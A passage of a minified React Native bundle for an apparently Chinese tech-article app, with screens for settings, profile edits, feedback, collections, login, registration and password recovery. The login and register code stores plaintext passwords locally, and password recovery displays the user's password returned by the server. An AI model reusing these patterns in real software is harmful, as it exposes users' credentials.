o.default.createElement(r.View,{style:h.v},o.default.createElement(r.ScrollView,null,o.default.createElement(u.default,{title:\"\\u90ae\\u7bb1\",value:t.email,onClick:function(){e._gotoModityUI(\"\\u4fee\\u6539\\u90ae\\u7bb1\",p.ModifyType.email)}}),o.default.createElement(f.default,null),o.default.createElement(u.default,{title:\"\\u624b\\u673a\\u53f7\",value:t.mobile,onClick:function(){e._gotoModityUI(\"\\u4fee\\u6539\\u624b\\u673a\\u53f7\",p.ModifyType.mobile)}}),o.default.createElement(f.default,null),o.default.createElement(u.default,{title:\"\\u4fee\\u6539\\u8d26\\u6237\\u5bc6\\u7801\",onClick:function(){e._gotoModityUI(\"\\u4fee\\u6539\\u5bc6\\u7801\",p.ModifyType.password)}}),o.default.createElement(f.default,null),o.default.createElement(g.default,{style:h.exit,text:\"\\u9000\\u51fa\\u767b\\u5f55\",textColor:\"white\",onClick:this._exitLogin})))}}]),t}(i.Component);_.navigationOptions={title:\"\\u8bbe\\u7f6e\"};var h=r.StyleSheet.create({v:{flex:1},exit:{marginTop:50,marginLeft:20,marginRight:20,height:44,borderRadius:3,backgroundColor:c.themeColor}});a.default=_},419);\n__d(function(e,t,l,a){Object.defineProperty(a,\"__esModule\",{value:!0});var i=t(52),r=babelHelpers.interopRequireDefault(i),n=t(12);SetItem=function(e){var t=e.title,l=e.value,a=e.onClick;return r.default.createElement(n.TouchableHighlight,{onPress:a},r.default.createElement(n.View,{style:o.view},r.default.createElement(n.Text,{style:o.title},t),r.default.createElement(n.Text,{style:o.value},l)))};var o=n.StyleSheet.create({view:{paddingTop:15,paddingBottom:15,paddingLeft:15,paddingRight:15,flexDirection:\"row\",backgroundColor:\"white\"},title:{textAlign:\"left\",flexGrow:1},value:{textAlign:\"right\",flexGrow:1}});a.default=SetItem},420);\n__d(function(e,t,l,n){Object.defineProperty(n,\"__esModule\",{value:!0});var o=t(52),r=babelHelpers.interopRequireDefault(o),a=t(12);n.default=WHCButton=function(e){var t=e.style,l=e.text,n=e.textColor,o=e.fontSize,i=e.onClick;return r.default.createElement(a.TouchableHighlight,{style:[t,{justifyContent:\"center\",alignItems:\"center\"}],onPress:i,underlayColor:\"transparent\"},r.default.createElement(a.Text,{style:{color:void 0!=n?n:\"black\",fontSize:void 0!=o?o:14}},l))}},421);\n__d(function(e,t,a,i){Object.defineProperty(i,\"__esModule\",{value:!0});var n=t(52),l=babelHelpers.interopRequireDefault(n),r=t(12),s=t(396),o=t(423),u=babelHelpers.interopRequireDefault(o),p=t(407),f=(babelHelpers.interopRequireDefault(p),t(372)),d=babelHelpers.interopRequireWildcard(f),c=t(379),_=babelHelpers.interopRequireDefault(c),m=t(381),b=babelHelpers.interopRequireDefault(m),h=t(410),g=babelHelpers.interopRequireDefault(h),w=t(376),y=babelHelpers.interopRequireDefault(w),v=t(375),T=babelHelpers.interopRequireDefault(v),C=t(374),H=babelHelpers.interopRequireDefault(C),R=function(e){function t(e){babelHelpers.classCallCheck(this,t);var a=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return a._loading=function(e){a.setState(function(t){return t.message=null,t.loading=e,t})},a._toast=function(e){a.setState({message:e,loading:!1})},a._clickCommit=function(){var e={username:T.default.user_info.username},t=\"\",i=a.props.navigation.state.params.type;switch(i){case s.ModifyType.mobile:if(0==a._mobile.length||!g.default.istel(a._mobile))return void a._toast(\"\\u624b\\u673a\\u53f7\\u683c\\u5f0f\\u4e0d\\u5bf9\");t=\"modify_mobile/\",e.mobile=a._mobile;break;case s.ModifyType.email:if(0==a._email.length||!g.default.isemail(a._email))return void a._toast(\"\\u90ae\\u4ef6\\u683c\\u5f0f\\u4e0d\\u5bf9\");t=\"modify_email/\",e.email=a._email;break;case s.ModifyType.password:if(0==a._current_psw.length)return void a._toast(\"\\u5f53\\u524d\\u5bc6\\u7801\\u4e0d\\u80fd\\u4e3a\\u7a7a\");if(a._new_psw.length<6||a._new_psw.length>20)return void a._toast(\"\\u5bc6\\u7801\\u8303\\u56f46-20\\u5b57\\u7b26\");if(a._new_psw!==a._renew_psw)return void a._toast(\"\\u4e24\\u6b21\\u65b0\\u5bc6\\u7801\\u8f93\\u5165\\u4e0d\\u4e00\\u81f4\");y.default.value(\"login\",function(e){}),t=\"modity_psw/\",e.password=a._current_psw,e.newpassword=a._new_psw;break;default:return void a._toast(\"\\u4fee\\u6539\\u7c7b\\u578b\\u4e0d\\u5b58\\u5728\")}a._loading(!0),H.default.post({api:t,param:e},function(e){a._loading(!1),setTimeout(function(){0==e.code?(a._toast(\"\\u4fee\\u6539\\u6210\\u529f\"),setTimeout(function(){a.props.navigation.goBack()},2e3)):a._toast(e.message)},500)})},a.state={message:null,loading:!1},a._mobile=\"\",a._email=\"\",a._new_psw=\"\",a._current_psw=\"\",a._renew_psw=\"\",a}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this,t=this.props.navigation.state.params,a=[];switch(t.type){case s.ModifyType.mobile:a.push(l.default.createElement(u.default,{hint:\"\\u8bf7\\u8f93\\u5165\\u65b0\\u624b\\u673a\\u53f7\",onChangeText:function(t){e._mobile=t}}));break;case s.ModifyType.email:a.push(l.default.createElement(u.default,{hint:\"\\u8bf7\\u8f93\\u5165\\u65b0\\u90ae\\u7bb1\",onChangeText:function(t){e._email=t}}));break;case s.ModifyType.password:a.push(l.default.createElement(u.default,{hint:\"\\u8bf7\\u8f93\\u5165\\u65e7\\u5bc6\\u7801\",ispasswrod:!0,onChangeText:function(t){e._current_psw=t}})),a.push(l.default.createElement(u.default,{hint:\"\\u8bf7\\u8f93\\u5165\\u65b0\\u5bc6\\u7801\",ispasswrod:!0,onChangeText:function(t){e._new_psw=t}})),a.push(l.default.createElement(u.default,{hint:\"\\u8bf7\\u91cd\\u590d\\u8f93\\u5165\\u65b0\\u5bc6\\u7801\",ispasswrod:!0,onChangeText:function(t){e._renew_psw=t}}))}return l.default.createElement(r.View,{style:k.view},a,l.default.createElement(r.TouchableHighlight,{style:k.commit,onPress:this._clickCommit},l.default.createElement(r.Text,{style:k.text},\"\\u63d0 \\u4ea4\")),l.default.createElement(_.default,{show:this.state.loading}),l.default.createElement(b.default,{message:this.state.message,hideBlock:function(){e._toast(null)}}))}}]),t}(n.Component);R.navigationOptions=function(e){var t=e.navigation;return{title:t.state.params.title}};var k=r.StyleSheet.create({view:{flex:1,paddingTop:20},text:{color:\"white\",textAlign:\"center\"},commit:{marginTop:50,marginLeft:20,marginRight:20,backgroundColor:d.themeColor,height:44,borderRadius:5,alignItems:\"center\",justifyContent:\"center\"}});i.default=R},422);\n__d(function(e,t,n,a){Object.defineProperty(a,\"__esModule\",{value:!0});var l=t(52),r=babelHelpers.interopRequireDefault(l),u=t(12),i=t(407),o=babelHelpers.interopRequireDefault(i);ModityInputItem=function(e){var t=e.hint,n=e.ispasswrod,a=e.fontSize,l=e.value,i=e.onChangeText;return[r.default.createElement(u.View,{style:d.view},r.default.createElement(u.TextInput,{placeholder:t,underlineColorAndroid:\"transparent\",defaultValue:l||\"\",fontSize:a||14,secureTextEntry:n||!1,onChangeText:i})),r.default.createElement(o.default,null)]};var d=u.StyleSheet.create({view:{padding:15,backgroundColor:\"white\"}});a.default=ModityInputItem},423);\n__d(function(e,t,a,l){Object.defineProperty(l,\"__esModule\",{value:!0});var n=t(52),i=babelHelpers.interopRequireDefault(n),r=t(12),o=t(372),s=babelHelpers.interopRequireWildcard(o),u=t(374),c=babelHelpers.interopRequireDefault(u),d=t(381),f=babelHelpers.interopRequireDefault(d),p=function(e){function t(e){babelHelpers.classCallCheck(this,t);var a=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return a._clickCommit=function(){return a._feedback.length<10?void a._toast(\"\\u8bf7\\u6700\\u5c11\\u8f93\\u516510\\u4e2a\\u5b57\\u7b26\"):(a._loading(!0),void c.default.post({api:\"feedback/\",param:{content:a._feedback}},function(e){a._toast(e.message)}))},a._toast=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null;a.setState({loading:!1,message:e})},a._loading=function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];a.setState({loading:e,message:null})},a.state={loading:!1,message:null},a._feedback=\"\",a}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this;return i.default.createElement(r.View,{style:b.view},i.default.createElement(r.TextInput,{style:b.input,placeholder:\"\\u8bf7\\u8f93\\u5165\\u60a8\\u7684\\u5b9d\\u8d35\\u5efa\\u8bae\",underlineColorAndroid:\"transparent\",onChangeText:function(t){e._feedback=t},multiline:!0}),i.default.createElement(r.TouchableHighlight,{style:b.commit,onPress:this._clickCommit,underlayColor:\"transparent\"},i.default.createElement(r.Text,{style:b.text},\"\\u63d0 \\u4ea4\")),i.default.createElement(f.default,{message:this.state.message,hideBlock:function(){e._toast()}}),i.default.createElement(f.default,{show:this.state.loading}))}}]),t}(n.Component);p.navigationOptions={title:\"\\u610f\\u89c1\\u53cd\\u9988\"};var b=r.StyleSheet.create({view:{flex:1,padding:20},input:{height:100,backgroundColor:\"white\"},text:{color:\"white\",textAlign:\"center\"},commit:{marginTop:50,backgroundColor:s.themeColor,height:44,borderRadius:5,alignItems:\"center\",justifyContent:\"center\"}});l.default=p},424);\n__d(function(e,t,a,l){Object.defineProperty(l,\"__esModule\",{value:!0});var n=t(52),i=babelHelpers.interopRequireDefault(n),s=t(12),r=t(426),o=babelHelpers.interopRequireDefault(r),u=t(379),c=babelHelpers.interopRequireDefault(u),f=t(381),p=babelHelpers.interopRequireDefault(f),d=t(374),b=babelHelpers.interopRequireDefault(d),g=t(396),m=function(e){function t(e){babelHelpers.classCallCheck(this,t);var a=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return a._loading=function(e){a.setState(function(t){return t.loading=e,t.message=null,t})},a._toast=function(e){a.setState(function(t){return t.loading=!1,t.message=e,t})},a._startRequest=function(){a._loading(!0);var e=\"\",t=a.props.navigation.state.params.type,l=void 0===t?g.CollectType.my_collect:t;switch(l){case g.CollectType.my_collect:e=\"my_collect/\";break;case g.CollectType.collect_set:e=\"collect/\"}b.default.get({api:e},function(e){0!=e.code?a._toast(e.message):a.setState({message:null,loading:!1,data:e.data.list})})},a.state={message:null,loading:!1,data:[]},a}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentDidMount\",value:function(){this._startRequest()}},{key:\"render\",value:function(){var e=this;return[i.default.createElement(s.FlatList,{style:_.list,data:this.state.data,renderItem:function(t){var a=t.item;t.index;return i.default.createElement(o.default,{item:a,onClick:function(t){var a=e.props.navigation.navigate;a(\"Webv\",{linkUrl:t.linkUrl,title:t.title})}})}}),i.default.createElement(p.default,{message:this.state.message,hideBlock:function(){e._toast(null)}}),i.default.createElement(c.default,{show:this.state.loading})]}}]),t}(n.Component);m.navigationOptions=function(e){var t=e.navigation;return{title:t.state.params.title}};var _=s.StyleSheet.create({list:{flex:1}});l.default=m},425);\n__d(function(e,t,l,a){Object.defineProperty(a,\"__esModule\",{value:!0});var r=t(52),i=babelHelpers.interopRequireDefault(r),n=t(12),o=t(407),u=babelHelpers.interopRequireDefault(o),c=t(374),d=babelHelpers.interopRequireDefault(c);CollectCell=function(e){var l=e.item,a=e.onClick;return[i.default.createElement(n.View,{style:f.view},i.default.createElement(n.TouchableHighlight,{onPress:function(){void 0!=a&&a(l)},underlayColor:\"transparent\"},i.default.createElement(n.View,{style:f.content_view},i.default.createElement(n.Image,{style:f.image,source:{uri:d.default.main_url+l.logoUrl}}),i.default.createElement(n.View,{style:f.mid_content},i.default.createElement(n.Text,{style:f.title},l.title),i.default.createElement(n.Text,{style:f.detail},l.count+\"\\u7bc7 \\xb7 \"+l.focusCount+\"\\u5173\\u6ce8 \\xb7 \"+l.author)),i.default.createElement(n.Image,{style:f.arrow_img,source:t(406)})))),i.default.createElement(u.default,null)]};var f=n.StyleSheet.create({view:{flex:1,backgroundColor:\"white\",padding:15},content_view:{flexDirection:\"row\",alignItems:\"center\"},image:{width:60,height:60,borderRadius:3},mid_content:{paddingLeft:20,flexGrow:2,height:60,justifyContent:\"space-between\"},arrow_img:{width:20,height:20}});a.default=CollectCell},426);\n__d(function(e,t,r,l){Object.defineProperty(l,\"__esModule\",{value:!0});var a=t(428),o=babelHelpers.interopRequireDefault(a),s=t(374),n=babelHelpers.interopRequireDefault(s),u=function(e){function t(e){babelHelpers.classCallCheck(this,t);var r=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return r._startRequest=function(){r.loading(!0),n.default.get({api:\"week_hot/\"},function(e){0!=e.code?r.toast(e.message):r.reloadData(e.data.list)})},r}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentDidMount\",value:function(){this._startRequest()}},{key:\"render\",value:function(){return babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"render\",this).call(this)}}]),t}(o.default);l.default=u},427);\n__d(function(e,t,a,l){Object.defineProperty(l,\"__esModule\",{value:!0});var n=t(52),i=babelHelpers.interopRequireDefault(n),r=t(12),s=t(394),u=babelHelpers.interopRequireDefault(s),o=t(379),c=babelHelpers.interopRequireDefault(o),f=t(381),d=babelHelpers.interopRequireDefault(f),p=function(e){function t(e){babelHelpers.classCallCheck(this,t);var a=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return a.reloadData=function(e){setTimeout(function(){a.setState({data:e,loading:!1,message:null})},1e3)},a.loading=function(e){a.setState(function(t){return t.loading=e,t.message=null,t})},a.toast=function(e){a.setState(function(t){return t.message=e,t.loading=!1,t})},a.clickItem=function(e){var t=a.props.navigation.navigate;t(\"Webv\",{linkUrl:e.linkUrl,title:e.title})},a.state={data:[],loading:!1,message:null},a}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this;return[i.default.createElement(r.FlatList,{style:b.list,data:this.state.data,renderItem:function(t){var a=t.item,l=t.index;return i.default.createElement(u.default,{key:l,item:a,click:function(){e.clickItem(a)}})}}),i.default.createElement(d.default,{message:this.state.message,hideBlock:function(){e.toast(null)}}),i.default.createElement(c.default,{show:this.state.loading})]}}]),t}(n.Component);p.navigationOptions=function(e){var t=e.navigation;return{title:t.state.params.title}},l.default=p;var b=r.StyleSheet.create({list:{flex:1}})},428);\n__d(function(e,t,r,a){Object.defineProperty(a,\"__esModule\",{value:!0});var l=t(428),o=babelHelpers.interopRequireDefault(l),n=t(374),s=babelHelpers.interopRequireDefault(n),i=function(e){function t(e){babelHelpers.classCallCheck(this,t);var r=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return r._startRequest=function(){r.loading(!0),s.default.get({api:\"offine_activity/\"},function(e){0!=e.code?r.toast(e.message):r.reloadData(e.data.list)})},r}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentDidMount\",value:function(){this._startRequest()}},{key:\"render\",value:function(){return babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"render\",this).call(this)}}]),t}(o.default);a.default=i},429);\n__d(function(e,t,r,l){Object.defineProperty(l,\"__esModule\",{value:!0});var a=t(428),o=babelHelpers.interopRequireDefault(a),s=(t(431),t(374)),n=babelHelpers.interopRequireDefault(s),i=function(e){function t(e){babelHelpers.classCallCheck(this,t);var r=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return r._startRequest=function(){r.loading(!0),n.default.get({api:\"my_like/\"},function(e){0!=e.code?r.toast(e.message):r.reloadData(e.data.list)})},r}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentDidMount\",value:function(){this._startRequest()}},{key:\"render\",value:function(){return babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"render\",this).call(this)}}]),t}(o.default);l.default=i},430);\n__d(function(e,i,t,a){Object.defineProperty(a,\"__esModule\",{value:!0});a.base_list_model=[{title:\"iOS \\u6700\\u65b0\\u6280\\u672fiOS \\u6700\\u65b0\\u6280\\u672fiOS \\u6700\\u65b0\\u6280\\u672fiOS \\u6700\\u65b0\\u6280\\u672fiOS \\u6700\\u65b0\\u6280\\u672fiOS \\u6700\\u65b0\\u6280\\u672fiOS \\u6700\\u65b0\\u6280\\u672fiOS \\u6700\\u65b0\\u6280\\u672f\",image:i(385),loveNum:100,time:\"45\\u5206\\u949f\\u524d\",organizeName:\"www.wuhaichao.com\"},{title:\"React Native \\u6700\\u65b0\\u6280\\u672f\",image:null,loveNum:10,time:\"10\\u5206\\u949f\\u524d\",organizeName:\"\\u5730\\u7403\\u79d1\\u6280\"},{title:\"Python \\u6700\\u65b0\\u6280\\u672f\",image:i(432),loveNum:80,time:\"20\\u5206\\u949f\\u524d\",organizeName:\"\\u706b\\u661f\\u96c6\\u56e2\"},{title:\"Android \\u6700\\u65b0\\u6280\\u672f\",image:null,loveNum:8,time:\"\\u4e00\\u4e2a\\u5c0f\\u65f6\\u524d\",organizeName:\"\\u592a\\u9633\\u7cfb\\u79d1\\u6280\"}]},431);\n__d(function(e,a,s,t){s.exports=a(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:546,height:292,scales:[1],hash:\"5d019f071250422b51bfa03a3262cac5\",name:\"logo3\",type:\"png\"})},432);\n__d(function(e,t,r,a){Object.defineProperty(a,\"__esModule\",{value:!0});var l=t(428),o=babelHelpers.interopRequireDefault(l),s=t(374),n=babelHelpers.interopRequireDefault(s),i=function(e){function t(e){babelHelpers.classCallCheck(this,t);var r=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return r._startRequest=function(){r.loading(!0),n.default.get({api:\"did_read/\"},function(e){0!=e.code?r.toast(e.message):r.reloadData(e.data.list)})},r}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentDidMount\",value:function(){this._startRequest()}},{key:\"render\",value:function(){return babelHelpers.get(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),\"render\",this).call(this)}}]),t}(o.default);a.default=i},433);\n__d(function(e,t,a,l){Object.defineProperty(l,\"__esModule\",{value:!0});var n=t(52),i=babelHelpers.interopRequireDefault(n),r=t(12),s=t(371),o=babelHelpers.interopRequireDefault(s),u=(t(382),t(374)),c=babelHelpers.interopRequireDefault(u),f=t(381),d=babelHelpers.interopRequireDefault(f),p=t(379),b=babelHelpers.interopRequireDefault(p),g=function(e){function t(e){babelHelpers.classCallCheck(this,t);var a=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return a._loading=function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];a.setState(function(t){return t.message=null,t.loading=e,t})},a._toast=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null;a.setState(function(t){return t.loading=!1,t.message=e,t})},a._startRequest=function(){a._loading(!0),c.default.get({api:\"special_column/\"},function(e){0==e.code?a.setState({loading:!1,message:null,data:e.data.list}):a._toast(e.message)})},a._clickItem=function(e){var t=a.props.navigation.navigate;t(\"Webv\",{linkUrl:e.linkUrl,title:e.title})},a.state={loading:!1,message:null,data:[]},a}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentDidMount\",value:function(){this._startRequest()}},{key:\"render\",value:function(){var e=this;return[i.default.createElement(r.FlatList,{style:m.list,data:this.state.data,renderItem:function(t){var a=t.item;t.index;return i.default.createElement(o.default,{itemInfo:a,click:function(){e._clickItem(a)}})}}),i.default.createElement(d.default,{message:this.state.message,hideBlock:function(){}}),i.default.createElement(b.default,{show:this.state.loading})]}}]),t}(n.Component);g.navigationOptions={title:\"\\u4e13\\u680f\"},l.default=g;var m=r.StyleSheet.create({list:{flex:1}})},434);\n__d(function(e,t,n,a){Object.defineProperty(a,\"__esModule\",{value:!0});var l=t(52),o=babelHelpers.interopRequireDefault(l),i=t(12),r=t(421),s=babelHelpers.interopRequireDefault(r),u=t(372),g=babelHelpers.interopRequireWildcard(u),f=t(423),c=babelHelpers.interopRequireDefault(f),p=t(436),d=babelHelpers.interopRequireDefault(p),h=t(379),m=babelHelpers.interopRequireDefault(h),b=t(381),_=babelHelpers.interopRequireDefault(b),w=t(376),v=babelHelpers.interopRequireDefault(w),C=t(374),k=babelHelpers.interopRequireDefault(C),y=t(375),R=babelHelpers.interopRequireDefault(y),q=function(e){function t(e){babelHelpers.classCallCheck(this,t);var n=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n._registerStateBlock=function(e){e&&v.default.value(\"login\",function(e){n._setlogin(e)})},n._goLogin=function(){var e=n.user_name||\"\",t=n.psw||\"\";return 0==e.length?void n._toast(\"\\u8bf7\\u8f93\\u5165\\u7528\\u6237\\u540d\"):t.length<6||t.length>20?void n._toast(\"\\u5bc6\\u7801\\u4e3a6-20\\u4f4d\"):(n._loading(!0),void k.default.post({api:\"login/\",param:{username:e,password:t}},function(a){0!=a.code?n._toast(a.message):(R.default.user_info=a,n._loading(!1),v.default.set(\"login\",{username:e,password:t},function(){var e=n.props.navigation.state.params.block;e&&e(a),n.props.navigation.goBack()}))}))},n._gotoForgetPsw=function(){var e=n.props.navigation.navigate;e(\"Forget\")},n._toast=function(e){n.setState(function(t){return t.requesting=!1,t.message=e,t})},n._loading=function(e){n.setState(function(t){return t.requesting=e,t.message=null,t})},n._setlogin=function(e){n.user_name=e.username,n.psd=e.password,n.setState(function(t){return t.login=e,t})},n.state={requesting:!1,message:null,login:{}},n.props.navigation.registerStateBlock=n._registerStateBlock,n}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this;return[o.default.createElement(i.ScrollView,{style:{flex:1,backgroundColor:\"white\"}},o.default.createElement(i.View,{key:0,style:x.topView},o.default.createElement(d.default,{style:x.logoText,text:\"React\",textColor:\"white\",fontSize:20})),o.default.createElement(i.View,{key:1,style:x.bottomView},o.default.createElement(c.default,{style:x.input,hint:\"\\u8bf7\\u8f93\\u5165\\u7528\\u6237\\u540d\",value:this.state.login.username||\"\",onChangeText:function(t){e.user_name=t}}),o.default.createElement(c.default,{style:x.input,hint:\"\\u8bf7\\u8f93\\u5165\\u5bc6\\u7801\",value:this.state.login.password||\"\",ispasswrod:!0,onChangeText:function(t){e.psw=t}})),o.default.createElement(s.default,{style:x.loginBtn,text:\"\\u767b\\u5f55\",textColor:\"white\",onClick:this._goLogin}),o.default.createElement(i.View,{style:x.forgetView},o.default.createElement(s.default,{style:x.forgetBtn,text:\"\\u5fd8\\u8bb0\\u5bc6\\u7801\",textColor:g.themeBlack,onClick:this._gotoForgetPsw}))),o.default.createElement(m.default,{show:this.state.requesting}),o.default.createElement(_.default,{message:this.state.message,hideBlock:function(){e._toast(null)}})]}}]),t}(l.Component);q.navigationOptions=function(e){var t=e.navigation;return{title:\"\\u767b\\u5f55\",headerRight:o.default.createElement(s.default,{style:x.rightItem,text:\"\\u6ce8\\u518c\",textColor:g.themeColor,onClick:function(){var e=t.navigate;e(\"Register\",{block:t.registerStateBlock})}})}},a.default=q;var x=i.StyleSheet.create({rightItem:{width:60,height:30},topView:{height:180,justifyContent:\"center\",alignItems:\"center\"},logoText:{height:70,width:70,backgroundColor:g.themeColor,alignItems:\"center\",justifyContent:\"center\"},bottomView:{marginTop:0},input:{height:44},loginBtn:{marginTop:50,marginLeft:20,marginRight:20,height:44,borderRadius:3,backgroundColor:g.themeColor},forgetView:{alignItems:\"flex-end\",padding:20},forgetBtn:{height:30,width:60}})},435);\n__d(function(e,t,l,r){Object.defineProperty(r,\"__esModule\",{value:!0});var a=t(52),n=babelHelpers.interopRequireDefault(a),o=t(12);r.default=WHCText=function(e){var t=e.style,l=e.text,r=e.textColor,a=e.fontSize;return n.default.createElement(o.View,{style:t},n.default.createElement(o.Text,{style:{color:r||\"gary\",fontSize:a||14}},l))}},436);\n__d(function(e,t,a,l){Object.defineProperty(l,\"__esModule\",{value:!0});var n=t(52),i=babelHelpers.interopRequireDefault(n),r=t(12),s=t(421),o=babelHelpers.interopRequireDefault(s),u=t(372),p=babelHelpers.interopRequireWildcard(u),f=t(423),d=babelHelpers.interopRequireDefault(f),g=t(374),c=babelHelpers.interopRequireDefault(g),h=t(379),b=babelHelpers.interopRequireDefault(h),m=t(381),_=babelHelpers.interopRequireDefault(m),v=t(410),y=babelHelpers.interopRequireDefault(v),C=t(376),R=babelHelpers.interopRequireDefault(C),k=function(e){function t(e){babelHelpers.classCallCheck(this,t);var a=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return a._goRegister=function(){var e=a.user_name||\"\",t=a.tel||\"\",l=a.email||\"\",n=a.psw||\"\",i=a.repsw||\"\";return 0==e.length?void a._toast(\"\\u8bf7\\u8f93\\u5165\\u7528\\u6237\\u540d\"):0==t.length?void a._toast(\"\\u8bf7\\u8f93\\u5165\\u624b\\u673a\\u53f7\\u7801\"):y.default.istel(t)?0==l.length?void a._toast(\"\\u8bf7\\u8f93\\u5165\\u7535\\u5b50\\u90ae\\u7bb1\"):y.default.isemail(l)?n.length<6||n.length>20?void a._toast(\"\\u5bc6\\u7801\\u4e3a6-20\\u4f4d\"):n!==i?void a._toast(\"\\u4e24\\u6b21\\u5bc6\\u7801\\u8f93\\u5165\\u4e0d\\u4e00\\u81f4\"):(a._loading(!0),void c.default.post({api:\"register/\",param:{username:e,password:n,mobile:t,email:l}},function(t){0!=t.code?a._toast(t.message):(a._loading(!1),R.default.set(\"login\",{username:e,password:n},function(){var e=a.props.navigation.state.params.block;e&&e(!0),a.props.navigation.goBack()}))})):void a._toast(\"\\u8bf7\\u8f93\\u5165\\u6b63\\u786e\\u7684\\u7535\\u5b50\\u90ae\\u7bb1\\u683c\\u5f0f\"):void a._toast(\"\\u8bf7\\u8f93\\u5165\\u6b63\\u786e\\u624b\\u673a\\u53f7\\u683c\\u5f0f\")},a._toast=function(e){a.setState({requesting:!1,message:e})},a._loading=function(e){a.setState({requesting:e,message:null})},a.state={requesting:!1,message:null},a}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this;return[i.default.createElement(r.ScrollView,{style:{flex:1}},i.default.createElement(d.default,{style:q.input,key:0,hint:\"\\u8bf7\\u8f93\\u5165\\u7528\\u6237\\u540d\",onChangeText:function(t){e.user_name=t}}),i.default.createElement(d.default,{style:q.input,key:1,hint:\"\\u8bf7\\u8f93\\u5165\\u624b\\u673a\\u53f7\",onChangeText:function(t){e.tel=t}}),i.default.createElement(d.default,{style:q.input,key:2,hint:\"\\u8bf7\\u8f93\\u5165\\u90ae\\u4ef6\\u5730\\u5740\",onChangeText:function(t){e.email=t}}),i.default.createElement(d.default,{style:q.input,key:3,hint:\"\\u8bf7\\u8f93\\u5165\\u5bc6\\u7801\",ispasswrod:!0,onChangeText:function(t){e.psw=t}}),i.default.createElement(d.default,{style:q.input,key:4,hint:\"\\u8bf7\\u518d\\u6b21\\u8f93\\u5165\\u5bc6\\u7801\",ispasswrod:!0,onChangeText:function(t){e.repsw=t}}),i.default.createElement(o.default,{key:5,style:q.registerBtn,text:\"\\u63d0\\u4ea4\",textColor:\"white\",onClick:this._goRegister})),i.default.createElement(b.default,{show:this.state.requesting}),i.default.createElement(_.default,{message:this.state.message,hideBlock:function(){e._toast(null)}})]}}]),t}(n.Component);k.navigationOptions={title:\"\\u6ce8\\u518c\"},l.default=k;var q=r.StyleSheet.create({input:{height:44},registerBtn:{marginTop:50,marginLeft:20,marginRight:20,height:44,borderRadius:3,backgroundColor:p.themeColor}})},437);\n__d(function(e,t,a,l){Object.defineProperty(l,\"__esModule\",{value:!0});var i=t(52),n=babelHelpers.interopRequireDefault(i),r=t(12),o=t(421),s=babelHelpers.interopRequireDefault(o),u=t(372),d=babelHelpers.interopRequireWildcard(u),f=t(423),m=babelHelpers.interopRequireDefault(f),p=t(381),c=babelHelpers.interopRequireDefault(p),b=t(379),g=babelHelpers.interopRequireDefault(b),_=t(410),h=babelHelpers.interopRequireDefault(_),v=t(374),H=babelHelpers.interopRequireDefault(v),R=t(375),C=(babelHelpers.interopRequireDefault(R),function(e){function t(e){babelHelpers.classCallCheck(this,t);var a=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return a._commit=function(){return 0==a._username.length?void a._toast(\"\\u7528\\u6237\\u540d\\u4e0d\\u80fd\\u4e3a\\u7a7a\"):0==a._email.length?void a._toast(\"\\u90ae\\u4ef6\\u5730\\u5740\\u4e0d\\u80fd\\u4e3a\\u7a7a\"):h.default.isemail(a._email)?(a._loading(!0),void H.default.post({api:\"forget_password/\",param:{username:a._username,email:a._email}},function(e){0==e.code?(a._toast(\"\\u60a8\\u7684\\u5bc6\\u7801\\uff1a\"+e.password),setTimeout(function(){a.props.navigation.goBack()},2e3)):a._toast(e.message)})):void a._toast(\"\\u8bf7\\u8f93\\u5165\\u6b63\\u786e\\u7684\\u90ae\\u4ef6\\u5730\\u5740\")},a._toast=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null;a.setState({loading:!1,message:e})},a._loading=function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];a.setState({loading:e,message:null})},a.state={loading:!1,message:null},a._username=\"\",a._email=\"\",a}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var 